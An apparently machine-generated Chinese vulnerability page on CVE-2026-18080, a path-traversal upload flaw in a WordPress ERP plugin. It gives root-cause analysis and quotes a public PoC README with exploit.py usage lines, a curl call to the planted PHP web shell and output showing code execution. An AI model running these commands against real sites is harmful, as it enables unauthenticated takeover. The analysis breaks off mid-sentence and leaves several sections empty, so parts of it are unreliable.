🔥 CVE-2026-18080 深度独立研究:源码审计 · 二次发现 · 利用方案
CVE-2026-18080 深度独立研究:源码审计 · 二次发现 · 利用方案
🔍 源码独立审计
对 (未定位到源码) 源码进行独立审计(置信度 60%)。
🧬 根因独立理解
<p><strong>摘要:</strong>CVE-2026-18080 是 WordPress 生态中 ERP: Complete HR, Accounting & CRM Suite 插件(以下简称“ERP 插件”)的一个严重安全漏洞,CVSS 评分为 9.8(Critical),影响 1.17.7 及更早版本(1.17.8 为修复版本)。漏洞根源于 CRM Email Connect 功能处理 IMAP 邮件附件时,<code>save_attachments()</code> 函数未对附件文件名进行路径归一化(Path Normalization)和扩展名安全校验,允许攻击者通过精心构造的邮件附件(如 <code>../helper.php</code>)实现任意文件上传,进而可能导致远程代码执行。攻击无需认证,仅需目标站点开启了 CRM 模块并配置了 IMAP 收件箱,风险极高。</p> <h2>📌 漏洞概述</h2> <p>该漏洞由 Wordfence 等安全机构披露,CVE 编号为 CVE-2026-18080,对应 CWE-434(Unrestricted Upload of File with Dangerous Type)。漏洞触发点是 ERP 插件中 <code>GmailSync.php</code> 文件里的 <code>save_attachments()</code> 函数。该函数在通过 IMAP 接收并处理邮件附件时,未对附件文件名执行 <code>basename()</code> 等路径清理操作,也未阻止路径分隔符和危险扩展名。攻击者可以伪造一封带有特定 <code>References</code> 头(匹配插件预期格式)的邮件,并设置附件文件名称为 <code>../../xxx.php</code> 等包含目录穿越的字符串。当 WordPress 的 cron 任务触发 IMAP 同步时,插件会把附件内容写入到拼接后的路径中,从而绕过 <code>crm-attachments</code> 目录下的 <code>.htaccess</code> 保护,将恶意 PHP 文件写入 <code>wp-content/uploads/</code> 之外甚至 <code>wp-content/plugins/</code> 等可执行目录。CVSS 9.8 的评分表明该漏洞能够被未认证攻击者远程利用,且利用复杂度低,影响机密性、完整性和可用性,属于最高等级的严重漏洞。</p> <h2>🔬 漏洞根因分析</h2> <p>漏洞的核心根因是 <code>save_attachments()</code> 函数对文件名的信任与处理逻辑存在双重缺失。首先,函数直接使用邮件附件中的原始文件名作为目标文件名,未调用 <code>basename()</code> 或类似函数剔除路径组件。在 PHP 中,<code>wp_filesystem->put_contents()</code> 写入文件时,若目标路径包含 <code>../</code>,系统会按照操作系统规则进行路径解析。例如,原始附件名为 <code>../../plugins/shell.php</code>,插件将它与固定目录 <code>wp-content/uploads/crm-attachments/</code> 拼接,最终得到的绝对路径变为 <code>wp-content/plugins/shell.php</code>——该位置位于 WordPress 插件目录,默认允许 PHP 直接执行。其次,虽然代码中使用了 <code>wp_check_filetype()</code> 来检查文件类型,但该函数仅基于文件扩展名进行白名单判断,并不关心文件名中是否包含路径分隔符或目录穿越序列。攻击者完全可以将恶意 PHP 内容伪装成任意合法的 MIME 类型(例如把文件名写成 <code>../../shell.php</code>,扩展名为 <code>.php</code>),只要内容能通过扩展名检查即可。更重要的是,开发者在设计时已经使用 <code>.htaccess</code> 限制了 <code>crm-attachments</code> 目录下 PHP 文件的执行,这原本是一道安全防线,但由于路径穿越的存在,攻击者可以跳出该目录,让文件落入没有同等防护的其他目录中,从而使 <code>.htaccess</code> 防护形同虚设。从攻击链来看,利用条件如下:1)站点启用了 ERP 插件的 CRM 模块,并配置了 IMAP Email Connect(即设定了一个接收邮件的邮箱地址);2)攻击者向该邮箱
🛤️ 漏洞触发链路
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。
📋 代码元数据语言md来源Polosss/By-Poloss..-..CVE-2026-18080针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明
# CVE-2026-18080 — ERP Complete HR,Accounting &CRM Suite <= 1.17.7
**Unauthenticated Arbitrary File Upload via CRM Email Connect IMAP Attachment (Path Traversal → RCE)**
|Field |Value ||-------|-------||**CVE** |https://nvd.nist.gov/vuln/detail/CVE-2026-18080 ||**Wordfence** |https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 ||**Patch** |
https://plugins.trac.wordpress.org/changeset/3656848/erp ||**CVSS** |9.8 (Critical) ||**CWE** |CWE-434 (Unrestricted Upload of File with Dangerous Type) ||**Affected** |ERP plugin versions <= 1.17.7 (fixed in 1.17.8) |
## Description
The ERP plugin's `save_attachments()` function in `GmailSync.php` processes inbound email attachments from IMAP without path normalization. An attacker can craft an email with a filename like `../../plugins/shell.php` and a forged `References` header matching the plugin's expected pattern. The cron-based IMAP sync job writes the file outside the `.htaccess`-protected `crm-attachments/` directory into any writable path under `wp-content/`.
## Root Cause
In `GmailSync.php` (v1.17.7):
```php
$name = $item['name'];
// No basename() or path normalization
$file = wp_check_filetype( $item['name'] );// ...
$saved = $wp_filesystem->put_contents( $dir . $name,$item['data'] );
```
The filename `../../plugins/shell.php` concatenated with `$dir` (`wp-content/uploads/crm-attachments/`) resolves to `wp-content/plugins/shell.php` — a directory where PHP execution is allowed.
The fix (v1.17.8) adds `sanitize_attachment_filename()` which strips directory components via `basename()`,rejects path separators,
and blocks dangerous extensions.
## Exploitation
### Method 1: Direct (wp-cli)
```bash
python3 exploit.py -t https://wordpress.ddev.site
```
### Method 2: Custom path and shell name
```bash
python3 exploit.py -t https://target.com --shell evil.php --path themes
```
### Method 3: phpinfo probe
```bash
python3 exploit.py -t https://target.com --phpinfo
```
After successful upload:
```bash
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
```
## Proof of Concept
```
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
```
## Files
|
File |Description ||------|-------------||`exploit.py` |Python exploit script using wp-cli ||`exploit.php` |Standalone PHP exploit for wp eval-file ||`README.md` |This file |⚔️ EXP 利用代码
截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。
🕵️ 检测指纹
当前规则库未收录针对该 CVE 的专用检测规则。建议:
- 根据漏洞根因编写 Nuclei 检测模板
- 在 WAF/IDS 中配置针对漏洞特征的规则
- 关注漏洞指纹库更新
🤖 高危漏洞深度独立研究引擎生成 · 2026-08-29 03:01